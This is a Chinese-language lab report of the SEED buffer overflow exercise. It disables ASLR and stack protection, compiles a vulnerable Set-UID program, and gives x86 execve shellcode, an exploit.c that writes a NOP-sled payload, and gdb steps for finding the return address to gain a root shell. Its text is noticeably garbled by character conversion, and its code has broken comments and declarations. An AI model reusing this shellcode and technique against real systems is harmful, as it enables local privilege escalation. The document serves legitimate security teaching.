软件安全攻防--缓冲区溢出和shellcode

缓冲区溢出漏洞实验报告

实验楼中有seed缓冲区溢出漏洞实验，实验内容与课本中要求的实验基本一致，便利用实验楼提供好的现成实验环境来完成此次的实践内容。

1、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的状况。这一漏洞能够被恶意用户利用来改变程序的流控制，甚至执行代码的任意片断。这一漏洞的出现是因为数据缓冲器和返回地址的暂时关闭，溢出会引发返回地址被重写。

2、实验准备

• 系统用户名shiyanlou
• 实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，咱们须要在32位环境下做操做，所以实验以前须要作一些准备。

一、输入命令安装一些用于编译32位C程序的东西：

sudo apt-get update
sudo apt-get install lib32z1 libc6-dev-i386
sudo apt-get install lib32readline-gplv2-dev

二、输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，好比不能tab补全了，因此输入“/bin/bash”使用bash：

3、实验步骤

3.1 初始设置

Ubuntu和其余一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜想准确的内存地址变得十分困难，而猜想内存地址是缓冲区溢出攻击的关键。所以本次实验中，咱们使用如下命令关闭这一功能：

sudo sysctl -w kernel.randomize_va_space=0

此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。所以，即便你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防御措施在/bin/bash中实现。

linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号连接。为了重现这一防御措施被实现以前的情形，咱们使用另外一个shell程序（zsh）代替/bin/bash。下面的指令描述了如何设置zsh程序：

sudo su
cd /bin
rm sh
ln -s zsh sh
Exit

3.2 shellcode

通常状况下，缓冲区溢出会形成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址，那么程序就会跳转到该地址，若是该地址存放的是一段精心设计的代码用于实现其余功能，这段代码就是shellcode。

观察如下代码：

include <stdio.h>
int main( ) {
char *name[2];
name[0] = ‘‘/bin/sh’’;
name[1] = NULL;
execve(name[0], name, NULL);
}

本次实验的shellcode，就是刚才代码的汇编版本：

\x31\xc0\x50\x68"//sh"\x68"/bin"\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

3.3 漏洞程序

把如下代码保存为“stack.c”文件，保存到 /tmp 目录下。代码以下：

/ stack.c /
/ This program has a buffer overflow vulnerability. /
/ Our task is to exploit this vulnerability /
include <stdlib.h>
include <stdio.h>
include <string.h>
int bof(char *str)
{
char buffer[12];
/ The following statement has a buffer overflow problem /
strcpy(buffer, str);
return 1;
}
int main(int argc, char *argv)
{
char str[517];
FILE badfile;
badfile = fopen("badfile", "r");
fread(str, sizeof(char), 517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}

经过代码能够知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。

编译该程序，并设置SET-UID。命令以下：

sudo su
gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
chmod u+s stack
exit

GCC编译器有一种栈保护机制来阻止缓冲区溢出，因此咱们在编译代码时须要用 –fno-stack-protector 关闭这种机制。

而 -z execstack 用于容许执行栈。

3.4 攻击程序

咱们的目的是攻击刚才的漏洞程序，并经过攻击得到root权限。

把如下代码保存为“exploit.c”文件，保存到 /tmp 目录下。代码以下：

/ exploit.c /
/ A program that creates a file containing code for launching shell/
include <stdlib.h>
include <stdio.h>
include <string.h>
char shellcode[]=
"\x31\xc0" //xorl %eax,%eax
"\x50" //pushl %eax
"\x68""//sh" //pushl $0x68732f2f
"\x68""/bin" //pushl $0x6e69622f
"\x89\xe3" //movl %esp,%ebx
"\x50" //pushl %eax
"\x53" //pushl %ebx
"\x89\xe1" //movl %esp,%ecx
"\x99" //cdq
"\xb0\x0b" //movb $0x0b,%al
"\xcd\x80" //int $0x80
;
void main(int argc, char *argv)
{
char buffer[517];
FILE badfile;
/ Initialize buffer with 0x90 (NOP instruction) /
memset(&buffer, 0x90, 517);
/ You need to fill the buffer with appropriate contents here /
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);
/ Save the contents to the file "badfile" /
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处须要添上shellcode保存在内存中的地址，由于发生溢出后这个位置恰好能够覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉咱们，shellcode保存在 buffer+100 的位置。

如今咱们要获得shellcode在内存中的地址，输入命令：

gdb stack
disass main

结果如图：

接下来的操做：

根据语句 strcpy(buffer+100,shellcode); 咱们计算shellcode的地址为 0xffffd1b0(十六进制)+100(十进制)=0xffffd214(十六进制)

如今修改exploit.c文件！将 \x??\x??\x??\x?? 修改成 \x14\xd2\xff\xff
而后，编译exploit.c程序：

gcc -m32 -o exploit exploit.c

3.5 攻击结果

先运行攻击程序exploit，再运行漏洞程序stack，观察结果：

可见，经过攻击，得到了root权限！ 若是不能攻击成功，提示”段错误“，那么请从新使用gdb反汇编，计算内存地址。